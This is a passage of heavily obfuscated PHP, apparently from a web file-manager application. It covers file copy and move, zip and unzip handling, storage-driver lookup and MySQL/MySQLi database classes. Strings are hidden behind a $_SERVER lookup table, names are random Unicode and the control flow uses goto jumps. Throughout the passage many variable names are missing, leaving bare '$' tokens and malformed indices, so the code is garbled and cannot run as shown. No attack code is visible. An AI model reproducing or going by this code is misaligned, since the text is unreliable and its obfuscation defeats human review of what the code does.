(method_exists($, $[1136])) { $ = @call_user_func_array(array($, $ה), $å); } else { if (method_exists(self, $ה)) { $ = @call_user_func_array(array(self, $ה), $å); } else { $ = call_user_func_array(array(parent, $ה), $å); } } } Hook::trigger($[1134] . $ה . $[1137], $, $); return $; } public static function init($) { return self::driverMake($); } public static function copy($ߎ, $, $θͮ = false, $Ի = false) { return self::copyMoveStart($ߎ, $, $θͮ, $_SERVER[][549], $Ի); } public static function move($Ϫ, $ز, $ = false, $ = false) { return self::copyMoveStart($Ϫ, $ز, $, $_SERVER[][551], $); } private static function copyMoveStart($硻, $, $, $ܼ, $ܒ) { $ܖఝ =& $_SERVER[]; $ַ = array($硻, $, $, $ܒ); Hook::trigger($ܖఝ[1134] . $ܼ . $ܖఝ[1135], $ַ); $텲 = self::copyMove($硻, $, $, $ܼ, $ܒ); Hook::trigger($ܖఝ[1134] . $ܼ . $ܖఝ[1137], $ַ, $텲); return $텲; } public static function saveFile($ͬ, $, $ = true) { $ȳ阒 =& $_SERVER[]; $ = self::info($); $ = self::driverMake($ͬ); $С = self::driverMake($); $♴ = !1; if ($С->pathParse[$ȳ阒[1138]]) { $♴ = $С; $ӛ = $С->pathParse[$ȳ阒[1138]]; $С = self::driverMake($ӛ); } if ($->pathParse[$ȳ阒[1138]]) { $݄ϕ = $->pathParse[$ȳ阒[1138]]; $ = self::driverMake($݄ϕ); } $ڗ = $С->pathFather($); $鐲߮ = !0; if (!$ && self::driverIsSame($, $С)) { $鐲߮ = !1; } $ = self::copyFile($, $ͬ, $С, $ڗ, $[$ȳ阒[32]], $鐲߮); if ($♴) { $ = $♴->getPathOuter($); } return $; } private static function copyMove($Ӡ, $, $듘, $, $ڙʈ = false) { $ =& $_SERVER[]; if (!$Ӡ || $Ӡ == $[8] || !$) { return !1; } ignore_timeout(); $ = self::driverMake($Ӡ); $ח = self::driverMake($); $ = $ == $[551]; $ѫђ = !1; if ($ח->pathParse[$[1138]]) { $ѫђ = $ח; $ = $ח->pathParse[$[1138]]; $ח = self::driverMake($); } if ($->pathParse[$[1138]]) { $Ӡ = $->pathParse[$[1138]]; $ = self::driverMake($Ӡ); } self::check($, $Ӡ, $ח, $); Hook::trigger($[75], $, $Ӡ, $ח, $); $ = self::driverIsSame($, $ח); if ($) { if ($ == $[551] && !method_exists($ח, $[1139]) && trim($, $[8]) == trim($ח->pathFather($Ӡ), $[8])) { if ($->pathThis($Ӡ) != $ڙʈ && !$->isTypeObject()) { return $->rename($Ӡ, $ڙʈ); } return $ח->getPathOuter($Ӡ); } if (method_exists($ח, $)) { return $ח->{$}($Ӡ, $, $듘, $ڙʈ); } } if ($ && $ == $[551] && $ח->getType() == $[107]) { $ = $ח->movePath($Ӡ, $, $ڙʈ); if ($) { return $; } } $ = $->isFile($Ӡ); if (!$ && $ח->getType() == $[751] && $->getType() == $[107]) { $ = $ח->copyFolderFromIO($, $Ӡ, $, $듘, $, $ڙʈ); } else { $ = self::copyPath($, $Ӡ, $ח, $, $듘, $, $, $ڙʈ); } if ($ && $) { $->remove($Ӡ); } if ($ѫђ) { $ = $ѫђ->getPathOuter($); } return $; } private static function check($Ȍ, $턉ŋ, $ʱ, &$Ʋ) { $܆ =& $_SERVER[]; if (self::driverIsSame($Ȍ, $ʱ) && $Ȍ->isFolder($턉ŋ) && $Ȍ->isParentOf($턉ŋ, $Ʋ)) { show_json(LNG($܆[1140]), !1); } if (!$Ȍ->exist($턉ŋ)) { show_json(LNG($܆[106]), !1); } } private static function copyPath($, $ɤ, $蟘, $ӣъ, $, $, $֛Ͱ, $ = false) { $փϗ =& $_SERVER[]; $踉 = empty($) && $ !== $փϗ[190] ? $->pathThis($ɤ) : $; if ($) { $ = $蟘->fileNameExist($ӣъ, $踉); $踉 = $蟘->fileNameAuto($ӣъ, $踉, $, !$֛Ͱ); $ = $ ? $ : !1; } if ($֛Ͱ) { return self::copyFile($, $ɤ, $蟘, $ӣъ, $踉, $); } if ($ == REPEAT_RENAME_FOLDER) { $ = !1; } $ = rtrim($ӣъ, $փϗ[8]) . $փϗ[8] . $踉; $Զ = $蟘->mkdir($蟘->getPath($)); $ӣъ = $蟘->getPathInner($Զ); $𵓊 = $->listPath($ɤ, !0); $𵓊 = is_array($𵓊) ? $𵓊 : array($փϗ[76] => array(), $փϗ[77] => array()); $DŽ = array_merge($𵓊[$փϗ[76]], $𵓊[$փϗ[77]]); foreach ($DŽ as $ģ) { $ = $ģ[$փϗ[33]] == $փϗ[192]; $ɤ = $->getPathInner($ģ[$փϗ[78]]); $ = self::copyPath($, $ɤ, $蟘, $ӣъ, $, $, $); if (!$) { IO::errorTips($փϗ[1141] . $ɤ . $փϗ[70] . $ӣъ); } } self::copyMoveKeepInfo($, $ɤ, $Զ); return $Զ; } private static function copyFile($, $ۙ, $Β, $, $܅, $) { $쫺 =& $_SERVER[]; $ = $Β->getPath(rtrim($, $쫺[8]) . $쫺[8] . $܅); $Ӟ = $쫺[1142] . time() . rand_string(5); Hook::trigger($쫺[1143], $, $ۙ, $Β, $, $܅, $Ӟ); if (self::driverIsSame($, $Β)) { if ($) { $ʠ = $Β->moveFile($ۙ, $); } else { $ʠ = $Β->copyFile($ۙ, $); } Hook::trigger($쫺[1144], $, $ۙ, $Β, $, $܅, $ʠ); self::copyMoveKeepInfo($, $ۙ, $ʠ); return $ʠ; } $ے = TEMP_FILES; if ($GLOBALS[$쫺[6]][$쫺[90]][$쫺[789]]) { $ے = $GLOBALS[$쫺[6]][$쫺[90]][$쫺[789]]; } $ = $ے; mk_dir($); $ = $ . $Ӟ; $ = $; $ = $->download($ۙ, $); $ = $->iconvApp($); if (substr($, strlen($ے)) == $ے) { $ = !0; } $ʠ = $Β->upload($, $, $); self::remove($); Hook::trigger($쫺[1144], $, $ۙ, $Β, $, $܅, $ʠ); self::copyMoveKeepInfo($, $ۙ, $ʠ); return $ʠ; } private static function copyMoveKeepInfo($ߔ, $Ÿ, $ð) { if (!$ð) { return; } $ = $ߔ->info($Ÿ); if (!is_array($)) { return; } IO::setModifyTime($ð, $[$_SERVER[][86]]); } public static function pathFather($ּ) { $ס = IO::init($ּ); $Ѵٙ = $ס->pathFather($ס->path); return $ס->getPathOuter($Ѵٙ); } public static function fileOut($, $ = false, $掤 = false, $ = '') { $ = self::driverMake($); if ($->isFileOutServer()) { return $->fileOutServer($, $, $掤, $); } return $->fileOut($, $, $掤, $); } public static function fileOutImage($ҲҦ, $ݸ횹 = 250) { $ׯ = array(250, 600, 1200, 2000, 3000, 5000); for ($ԏ݁ = 0; $ԏ݁ < count($ׯ); $ԏ݁++) { if ($ԏ݁ == 0 && $ݸ횹 <= $ׯ[$ԏ݁]) { $ݸ횹 = $ׯ[$ԏ݁]; break; } else { if ($ݸ횹 > $ׯ[$ԏ݁ - 1] && $ݸ횹 <= $ׯ[$ԏ݁]) { $ݸ횹 = $ׯ[$ԏ݁]; break; } else { if ($ԏ݁ == count($ׯ) - 1 && $ݸ횹 > $ׯ[$ԏ݁]) { $ݸ횹 = $ׯ[$ԏ݁]; break; } } } } $ڑЁ = self::driverMake($ҲҦ); if ($ڑЁ->isFileOutServer()) { return $ڑЁ->fileOutImageServer($ҲҦ, $ݸ횹); } return $ڑЁ->fileOutImage($ҲҦ, $ݸ횹); } private static function driverIsSame($漞޿, $żκ) { $ =& $_SERVER[]; $ = $漞޿->getType(); $ = $żκ->getType(); if ($ != $) { return !1; } if ($ == $[751]) { return !0; } if ($ == $[107]) { return !0; } if ($漞޿->pathDriver == $żκ->pathDriver) { return !0; } return !1; } public static function copyUpdate($ي, $) { $ۧЌ =& $_SERVER[]; if (!IO::exist($ي)) { return !1; } if (!IO::exist($)) { IO::mkdir($); } $ = self::_listAll($ي); $딜 = self::_listAll($); $Ň = array(); $ت = array(); foreach ($ as $ => $) { if (isset($딜[$])) { if ($[$ۧЌ[79]] == 1) { continue; } if ($딜[$][$ۧЌ[80]] == $[$ۧЌ[80]]) { continue; } } if ($[$ۧЌ[79]] == 1) { $ت[] = $ . $ۧЌ[8] . $; continue; } $Ŋ = strstr(trim($, $ۧЌ[8]), $ۧЌ[8]) ? get_path_father($) : $ۧЌ[12]; $Ň[] = array($ۧЌ[1145] => $[$ۧЌ[78]], $ۧЌ[1146] => rtrim($, $ۧЌ[8]) . $ۧЌ[8] . $Ŋ, $ۧЌ[1147] => $); } $ = array($ۧЌ[192] => $Ň, $ۧЌ[79] => $ت); Hook::trigger($ۧЌ[1148], $ي, $, $); foreach ($ت as $) { IO::mkdir($); } foreach ($Ň as $) { IO::copy($[$ۧЌ[1145]], $[$ۧЌ[1146]], REPEAT_REPLACE); } } private static function _listAll($ܘƁ) { $ =& $_SERVER[]; $ܘƁ = KodIO::clear($ܘƁ); $ؼɻ = IO::listAll($ܘƁ); foreach ($ؼɻ as &$ƶ˺) { $Ҝ = substr($ƶ˺[$[78]], strlen($ܘƁ)); $ƶ˺[$[1149]] = trim($Ҝ, $[8]); } unset($ƶ˺); return array_to_keyvalue($ؼɻ, $[1149]); } public static function fileSubstr($, $ճ賫, $ = false) { $؅ =& $_SERVER[]; $ = self::driverMake($); $ňα = $->size($); $ = $ճ賫; $쟦 = $; if ($ճ賫 < 0) { $ճ賫 = $ňα + $ճ賫; } if ($ === !1) { $ = $ňα - $ճ賫; } if ($ճ賫 + $ > $ňα) { $ = $ňα - $ճ賫; } if (!$ňα && $->getType() == $؅[107] && !$->exist($)) { throw new Exception($؅[1150] . LNG($؅[1151]) . $؅[953] . get_path_this($) . $؅[12]); } if ($ <= 0) { return $؅[12]; } if ($ճ賫 < 0 || $ճ賫 >= $ňα || $ > 1024 * 1024 * 10) { throw new Exception("\146\x69\x6c\145\122\x65\x61\x64\x20\x65\x72\162\x6f\x72\41\40\x73\x74\141\162\164\x3d{$ճ賫}\73\154\x65\x6e\x67\x74\x68\x3d{$}\x3b\40\163\151\172\145\75{$ňα}\x3b"); } $Ů = $->fileSubstr($, $ճ賫, $); if (!$Ů && $ && isset($GLOBALS[$؅[1152]])) { throw new Exception($GLOBALS[$؅[1152]][$؅[1153]]); } return $Ů; } private static function driverMake(&$) { $ƚ =& $_SERVER[]; $ = KodIO::parse($); if (!self::$driverListSystem) { $ = Model($ƚ[760])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($, $ƚ[401]); } if ($[$ƚ[33]] == KodIO::KOD_IO && !self::$driverListSystem[$[$ƚ[401]]]) { return !1; } $ = $[$ƚ[1154]]; $ʒ؅ = self::driverGet($, $); return $ʒ؅; } private static function driverGet($, &$Ұ) { $ɕ =& $_SERVER[]; $ = $[$ɕ[1155]]; $ = $[$ɕ[401]]; switch ($[$ɕ[33]]) { case KodIO::KOD_IO: $̗ = self::$driverListSystem[$]; break; case KodIO::KOD_SOURCE: $Ұ = $ . $Ұ; $̗ = array($ɕ[1156] => $ɕ[1157], $ɕ[6] => $); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $⼷֙ = $GLOBALS[$ɕ[1158]]; self::$driverListUser = array_to_keyvalue($⼷֙, $ɕ[401]); } $̗ = self::$driverListUser[$]; break; case KodIO::KOD_SHARE_LINK: $̗ = array($ɕ[1156] => $ɕ[1159], $ɕ[6] => $); $⣸ = Action($ɕ[1160])->sharePathInfo($[$ɕ[78]]); $Ұ = $⣸[$ɕ[403]]; if (!$⣸[$ɕ[403]]) { $© = Model($ɕ[595])->getInfo($⣸[$ɕ[488]]); $Ұ = KodIO::clear($©[$ɕ[1161]] . $[$ɕ[1154]]); $[$ɕ[486]] = $©; $[$ɕ[1138]] = $Ұ; $̗ = array($ɕ[1156] => $ɕ[1162], $ɕ[6] => $); } break; case KodIO::KOD_SHARE_ITEM: $̗ = array($ɕ[1156] => $ɕ[1163], $ɕ[6] => $); $© = Model($ɕ[595])->getInfo($[$ɕ[401]]); if ($©[$ɕ[403]] == $ɕ[190]) { $Ұ = KodIO::clear($©[$ɕ[1161]] . $[$ɕ[1154]]); $[$ɕ[486]] = $©; $[$ɕ[1138]] = $Ұ; $̗ = array($ɕ[1156] => $ɕ[1164], $ɕ[6] => $); } else { if (!$Ұ) { $Ұ = $©[$ɕ[403]]; } } break; default: $Ұ = $[$ɕ[78]]; $̗ = array($ɕ[1156] => $ɕ[1165]); break; } $͔ = $[$ɕ[78]]; if (!isset(self::$driverCache[$͔])) { $ = strtolower($̗[$ɕ[96]]); $Ҝ = $GLOBALS[$ɕ[6]][$ɕ[90]][$ɕ[819]]; $ᨤ = $ɕ[74] . (isset($Ҝ[$]) ? $Ҝ[$] : ucfirst($)); if (!class_exists($ᨤ)) { show_json("{$ᨤ}\x20\x6e\157\164\x20\145\x78\151\163\x74\163\41", !1); } $ = isset($̗[$ɕ[6]]) ? $̗[$ɕ[6]] : !1; self::$driverCache[$͔] = new $ᨤ($); } $⫀ = self::$driverCache[$͔]; $⫀->pathDriver = $; $⫀->pathBase = $ɕ[12]; if (isset($̗[$ɕ[6]][$ɕ[1166]])) { $⫀->pathBase = rtrim($̗[$ɕ[6]][$ɕ[1166]], $ɕ[8]) . $ɕ[8]; $Ұ = $⫀->pathBase . ltrim($Ұ, $ɕ[8]); } $Ұ = $⫀->getPath($Ұ); if (isset($[$ɕ[1138]])) { $Ұ = $[$ɕ[1138]]; } $⫀->path = $Ұ; return $⫀; } public static function errorTips($պ = false) { $릁 =& $_SERVER[]; static $뵌ß = array(); $Նɖ = 1000; if ($պ === -1) { return $뵌ß ? $뵌ß[count($뵌ß) - 1] : $릁[12]; } if ($պ === !1) { return implode($릁[226], $뵌ß); } if (count($뵌ß) >= $Նɖ) { $뵌ß = array_slice($뵌ß, $Նɖ * 0.5, $Նɖ); } $뵌ß[] = $պ; write_log($릁[159] . ACTION . $릁[1167] . $պ, $릁[1168]); } public static function getLastError($ќ = '') { $䷈ = self::errorTips(-1); return $䷈ ? $䷈ : $ќ; } } class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $; if (!$) { $蜼 = IO::init($_SERVER[][8]); } return $蜼; } private static function iconvSystem($Έ) { return self::local()->iconvSystem($Έ); } private static function iconvApp($즄) { return self::local()->iconvApp($즄); } public static function zip($, $ = "\x7a\x69\160", $Ť = '', $ = REPEAT_RENAME) { $ =& $_SERVER[]; $ = self::init($[0][$[78]]); $ɲ = self::info($[0][$[78]]); $ꖕ = !1; if (!$Ť && $->getType() == $[107]) { $ޚ = self::zipFileList($); } else { $ꖕ = $Ť ? $Ť : TEMP_FILES . $[1169] . time() . rand_string(8) . $[8]; mk_dir($ꖕ); $ޚ = self::zipFileList($, $ꖕ); } $ӥ = $ɲ[$[32]]; if (count($ޚ) > 1) { $֘ = IO::info(IO::pathFather($ɲ[$[78]])); $ӥ = $֘[$[32]]; } $砷 = $ꖕ; if (!$砷) { $砷 = get_path_father($ɲ[$[78]]); if (!$Ť && $->getType() == $[107]) { $砷 = get_path_father($->path); } $隷 = IO::info($砷); if (!$隷[$[195]]) { show_json(LNG($[1170]), !1); } } $ƽ = $砷 . $ӥ . $[10] . $; $ƽ = get_filename_auto($ƽ, $[12], $); $ = self::iconvSystem($ƽ); foreach ($ޚ as $ => $) { $ޚ[$] = self::iconvSystem($); } KodArchive::create($, $ޚ); if (!IO::exist($ƽ)) { if ($ꖕ) { del_dir($ꖕ); } show_json(LNG($[1171]), !1); } if ($Ť || !$ꖕ) { if ($ꖕ && strstr($ꖕ, TEMP_FILES)) { $ = $ޚ = array(); recursion_dir($砷, $, $ޚ, 0); foreach ($ as $ء) { del_dir($ء); } foreach ($ޚ as $Ү) { if ($Ү == $) { continue; } del_file($Ү); } } return $ƽ; } $姥 = self::pathFather($ɲ[$[78]]); $ = self::move($ƽ, $姥, $); if (!$) { del_dir($ꖕ); show_json(LNG($[1171]), !1); } del_dir($ꖕ); return $; } public static function unzip($, $ = "\x72\145\160\x6c\141\143\145") { $ٻ =& $_SERVER[]; $ = $[$ٻ[78]]; $Я = $[$ٻ[1172]]; if (!($ = parent::info($))) { show_json(LNG($ٻ[1173]), !1); } if (!($̆ = parent::infoFull($Я))) { $Я = parent::mkdir($Я); $̆ = array($ٻ[78] => $Я); } else { if (isset($̆[$ٻ[403]]) && trim($̆[$ٻ[78]], $ٻ[8]) != trim($Я, $ٻ[8])) { $ = KodIO::make($̆[$ٻ[498]]); $؜ = parent::fileNameAuto($, $̆[$ٻ[32]], REPEAT_RENAME_FOLDER, !0); $Я = parent::mkdir($ . $؜); $̆ = array($ٻ[78] => $Я); } } $Я = $̆[$ٻ[78]]; $޲ = self::tmpFileName($); $ϣ = TEMP_FILES . $޲; del_dir($ϣ); mk_dir($ϣ); $ = self::fileExt($); $ï = $ϣ . $ٻ[10] . $; if (!@file_exists(self::iconvSystem($ï))) { $Ȟ = self::localFilePath($, $); $ï = $Ȟ ? $Ȟ : parent::download($, $ï); } $ï = self::iconvSystem($ï); $ک͠ = isset($[$ٻ[1174]]) ? $[$ٻ[1174]] : $ٻ[1175]; $ = KodArchive::extract($ï, $ϣ . $ٻ[8], $ک͠); self::archiveExt(); if (!$[$ٻ[1176]]) { show_json($ٻ[1177] . $[$ٻ[1178]], !1); } Hook::trigger($ٻ[1179], $ϣ); recursion_dir($ϣ, $䚫, $݃, 0); $ = array_merge($䚫, $݃); foreach ($ as $) { $ = self::iconvApp($); self::move($, $Я, $); } del_dir($ϣ); if (!$Ȟ) { del_file($ï); } return !0; } public static function unzipList($ꌷ) { $۽Ȉ =& $_SERVER[]; $܄ = $ꌷ[$۽Ȉ[78]]; $ݩ = isset($ꌷ[$۽Ȉ[1180]]) ? $ꌷ[$۽Ȉ[1180]] : -1; $а = 50000; if (request_url_safe($܄)) { $ = parse_url_query($܄); if (!isset($[$۽Ȉ[78]])) { show_json($۽Ȉ[1181], !1); } } $Ȭ̙ = isset($) ? $[$۽Ȉ[78]] : $܄; $ݰ߾ = self::info($Ȭ̙); $ = self::fileExt($ݰ߾); $̯ = self::tmpFileName($ݰ߾); if (isset($)) { $⍙Ɍ = array($[$۽Ȉ[78]], $[$۽Ȉ[1180]], $[$۽Ȉ[32]]); $ = md5(implode($۽Ȉ[11], $⍙Ɍ)) . $۽Ȉ[10] . get_path_ext($[$۽Ȉ[32]]); } else { $⍙Ɍ = array($ݰ߾[$۽Ȉ[32]], $ݰ߾[$۽Ȉ[78]], $ݰ߾[$۽Ȉ[80]]); $ = md5(implode($۽Ȉ[11], $⍙Ɍ)) . $۽Ȉ[10] . $; } if ($ݩ == -1) { $ = IO_PATH_SYSTEM_TEMP . "\x7a\x69\160\x56\151\x65\x77\x2f{$̯}\x2f{$}\56\x6c\x6f\147"; $ߕ = self::infoFull($); if ($ߕ) { $ = $ߕ[$۽Ȉ[78]]; $ = self::getContent($); if ($) { $ӓ = json_decode($, !0); $ӓ = is_array($ӓ) ? $ӓ : array(); if (count($ӓ) >= $а) { show_json(sprintf(LNG($۽Ȉ[1182]), count($ӓ)), !1); } return $ӓ; } } else { $ = self::mkfile($); } } $Ӝ = TEMP_FILES . $̯; if (!is_dir($Ӝ)) { mk_dir($Ӝ); } $ = $Ӝ . $۽Ȉ[8] . $; if (!@file_exists(self::iconvSystem($))) { if (isset($)) { url_request($܄, $۽Ȉ[1183], $); } else { $ = self::localFilePath($܄, $); $ = $ ? $ : self::download($܄, $); } } $ = self::iconvSystem($); if ($ݩ >= 0) { $܇ = isset($ꌷ[$۽Ȉ[1184]]) ? $ꌷ[$۽Ȉ[1184]] : !1; $ = isset($ꌷ[$۽Ȉ[32]]) ? $ꌷ[$۽Ȉ[32]] : $۽Ȉ[12]; KodArchive::filePreview($, $ݩ, $܇, $); self::archiveExt(); die; } $ = KodArchive::listContent($); self::archiveExt(); del_dir($Ӝ); if (!$[$۽Ȉ[1176]]) { show_json($[$۽Ȉ[1178]], !1); } $ӓ = json_encode($[$۽Ȉ[1178]]); self::setContent($, $ӓ); if (count($[$۽Ȉ[1178]]) >= $а) { show_json(sprintf(LNG($۽Ȉ[1182]), count($[$۽Ȉ[1178]])), !1); } return $[$۽Ȉ[1178]]; } private static function fileExt($٢) { $ =& $_SERVER[]; $ٱ = $٢[$[167]]; if ($ٱ == $[1185]) { $ۙ騉 = $[1186]; if (substr($٢[$[32]], -strlen($ۙ騉)) == $ۙ騉) { $ٱ = $[1187]; } } self::archiveExt($ٱ); return $ٱ; } private static function zipFileList($ы, $ = false) { $■ =& $_SERVER[]; $ֵ = array(); foreach ($ы as $ԙ) { $Ҳ = $ԙ[$■[78]]; if ($) { $Ҳ = self::copy($ԙ[$■[78]], $, $■[811]); } else { $ = self::init($ԙ[$■[78]]); if ($->getType() == $■[107]) { $Ҳ = $->path; } } if ($Ҳ && self::local()->exist($Ҳ)) { $ֵ[$ԙ[$■[78]]] = $Ҳ; } } if (!empty($ֵ)) { return array_values($ֵ); } show_json(LNG($■[1151]), !1); } public static function tmpFileName($˹) { $׫ =& $_SERVER[]; $ = array($˹[$׫[32]], $˹[$׫[78]], $˹[$׫[80]], $˹[$׫[521]]); return md5(implode($׫[11], $)); } private static function localFilePath($, $ʷ) { $ڈ =& $_SERVER[]; if ($ʷ == $ڈ[1188] && strtoupper(substr(PHP_OS, 0, 3)) == $ڈ[1189]) { return !1; } $덖 = KodIO::parse($); if ($덖[$ڈ[33]] == KodIO::KOD_SOURCE) { $޹ = Model($ڈ[818])->fileInfoGet(KodIO::sourceID($)); if (!$޹[$ڈ[78]]) { show_json($ڈ[1190], !1); } $ = $޹[$ڈ[78]]; } $펥ˮ = self::init($); if ($펥ˮ->pathParse[$ڈ[1138]]) { $ = $펥ˮ->pathParse[$ڈ[1138]]; $펥ˮ = self::init($); } $؊ = $펥ˮ->getType(); if ($؊ == $ڈ[107] || $؊ == $ڈ[1191]) { if (!$펥ˮ->exist($펥ˮ->path)) { show_json(LNG($ڈ[106]), !1); } return $펥ˮ->path; } return !1; } private static function archiveExt($ = '') { $GLOBALS[$_SERVER[][1192]] = $; } } goto B; Bѥ: class DbMysql extends Db { public function __construct($ = '') { $ =& $_SERVER[]; if (!extension_loaded($[797])) { think_exception(think_lang($[14]) . $[872]); } if (!empty($)) { $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = $[12]; } } } public function connect($݁ = '', $ = 0, $ު = false) { $߂ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($݁)) { $݁ = $this->config; } $߈ = $݁[$߂[873]] . ($݁[$߂[874]] ? "\x3a{$݁[$߂[874]]}" : $߂[12]); $ = !empty($݁[$߂[17]][$߂[18]]) ? $݁[$߂[17]][$߂[18]] : $this->pconnect; if ($) { $this->linkID[$] = mysql_pconnect($߈, $݁[$߂[875]], $݁[$߂[876]], 131072); } else { $this->linkID[$] = mysql_connect($߈, $݁[$߂[875]], $݁[$߂[876]], !0, 131072); } if (!$this->linkID[$] || !empty($݁[$߂[21]]) && !mysql_select_db($݁[$߂[21]], $this->linkID[$])) { think_exception(mysql_error()); } $ = mysql_get_server_info($this->linkID[$]); mysql_query($߂[877] . think_config($߂[878]) . $߂[58], $this->linkID[$]); if ($ > $߂[879]) { mysql_query($߂[880], $this->linkID[$]); } $this->connected = !0; if (1 != think_config($߂[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($¨) { $‡ =& $_SERVER[]; if (0 === stripos($¨, $‡[259])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $¨; if ($this->queryID) { $this->free(); } think_action_status($‡[23], 1); think_status($‡[24]); $this->queryID = mysql_query($¨, $this->_linkID); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } } public function execute($ԸѤ) { $Ւ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $ԸѤ; if ($this->queryID) { $this->free(); } think_action_status($Ւ[25], 1); think_status($Ւ[24]); $ߐ = mysql_query($ԸѤ, $this->_linkID); $this->debug(); if (!1 === $ߐ) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { mysql_query($_SERVER[][881], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = mysql_query($_SERVER[][882], $this->_linkID); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = mysql_query($_SERVER[][883], $this->_linkID); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $г = array(); if ($this->numRows > 0) { while ($ƪ = mysql_fetch_assoc($this->queryID)) { $г[] = $ƪ; } mysql_data_seek($this->queryID, 0); } return $г; } public function getFields($ő) { $ڵ =& $_SERVER[]; $ݞ = $this->query($ڵ[884] . $this->parseKey($ő)); $ݲ = array(); if ($ݞ) { foreach ($ݞ as $ۼ => $) { $ݲ[$[$ڵ[31]]] = array($ڵ[32] => $[$ڵ[31]], $ڵ[33] => $[$ڵ[34]], $ڵ[35] => (bool) (strtoupper($[$ڵ[36]]) === $ڵ[885]), $ڵ[37] => $[$ڵ[38]], $ڵ[39] => strtolower($[$ڵ[40]]) == $ڵ[41], $ڵ[42] => strtolower($[$ڵ[43]]) == $ڵ[44]); } } return $ݲ; } public function getTables($ = '') { $ =& $_SERVER[]; if (!empty($)) { $ = $[886] . $ . $[887]; } else { $ = $[888]; } $ȗ = $this->query($); $ӿ = array(); foreach ($ȗ as $ => $ш) { $ӿ[$] = current($ш); } return $ӿ; } public function replace($̍, $ = array()) { $ =& $_SERVER[]; foreach ($̍ as $ => $񥜬) { $ = $this->parseValue($񥜬); if (is_scalar($)) { $Ҍ[] = $; $[] = $this->parseKey($); } } $͔ = $[889] . $this->parseTable($[$[274]]) . $[890] . implode($[50], $) . $[891] . implode($[50], $Ҍ) . $[892]; return $this->execute($͔); } public function insertAll($ٶ, $썍 = array(), $ = false) { $ȿ =& $_SERVER[]; if (!is_array($ٶ[0])) { return !1; } $ = array_keys($ٶ[0]); $񰓠 = array(); foreach ($ٶ as $) { $뼟 = array(); foreach ($ as $ => $) { $ = $this->parseValue($); if (is_scalar($)) { $뼟[] = $; } } $񰓠[] = $ȿ[255] . implode($ȿ[50], $뼟) . $ȿ[892]; } array_walk($, array($this, $ȿ[893])); $ = ($ ? $ȿ[894] : $ȿ[895]) . $ȿ[896] . $this->parseTable($썍[$ȿ[274]]) . $ȿ[890] . implode($ȿ[50], $) . $ȿ[897] . implode($ȿ[50], $񰓠); return $this->execute($); } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $ѐ =& $_SERVER[]; $this->error = mysql_errno() . $ѐ[4] . mysql_error($this->_linkID); if ($ѐ[12] != $this->queryStr) { $this->error .= LNG($ѐ[48]) . $this->queryStr; } think_trace($this->error, $ѐ[12], $ѐ[49]); return $this->error; } public function escapeString($̝) { if ($this->_linkID) { return mysql_real_escape_string($̝, $this->_linkID); } else { return mysql_escape_string($̝); } } public function parseKey(&$﯃, $Ӫ = true) { $ׅ =& $_SERVER[]; if ($Ӫ) { $﯃ = $this->parseKeyCheck($﯃); } if ($﯃ != $ׅ[181] && !preg_match($ׅ[898], $﯃)) { $﯃ = $ׅ[380] . trim($﯃, $ׅ[380]) . $ׅ[380]; } return $﯃; } } class DbMysqli extends Db { public function __construct($æ = '') { $ݘ =& $_SERVER[]; if (!extension_loaded($ݘ[899])) { think_exception(think_lang($ݘ[14]) . $ݘ[900]); } if (!empty($æ)) { $this->config = $æ; if (empty($this->config[$ݘ[17]])) { $this->config[$ݘ[17]] = $ݘ[12]; } } } public function connect($Ϩ = '', $ = 0) { $ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($Ϩ)) { $Ϩ = $this->config; } $this->linkID[$] = new mysqli($Ϩ[$[873]], $Ϩ[$[875]], $Ϩ[$[876]], $Ϩ[$[21]], $Ϩ[$[874]] ? intval($Ϩ[$[874]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } $ = $this->linkID[$]->server_version; $this->linkID[$]->query($[877] . think_config($[878]) . $[58]); if ($ > $[879]) { $this->linkID[$]->query($[880]); } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($) { $̎ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($̎[23], 1); think_status($̎[24]); $this->queryID = $this->_linkID->query($); if ($this->_linkID->more_results()) { while (($󍯛 = $this->_linkID->next_result()) != NULL) { $󍯛->free_result(); } } $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } } public function execute($㯣) { $̂ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $㯣; if ($this->queryID) { $this->free(); } think_action_status($̂[25], 1); think_status($̂[24]); $ = $this->_linkID->query($㯣); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ƛլ = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$ƛլ) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ǫ = 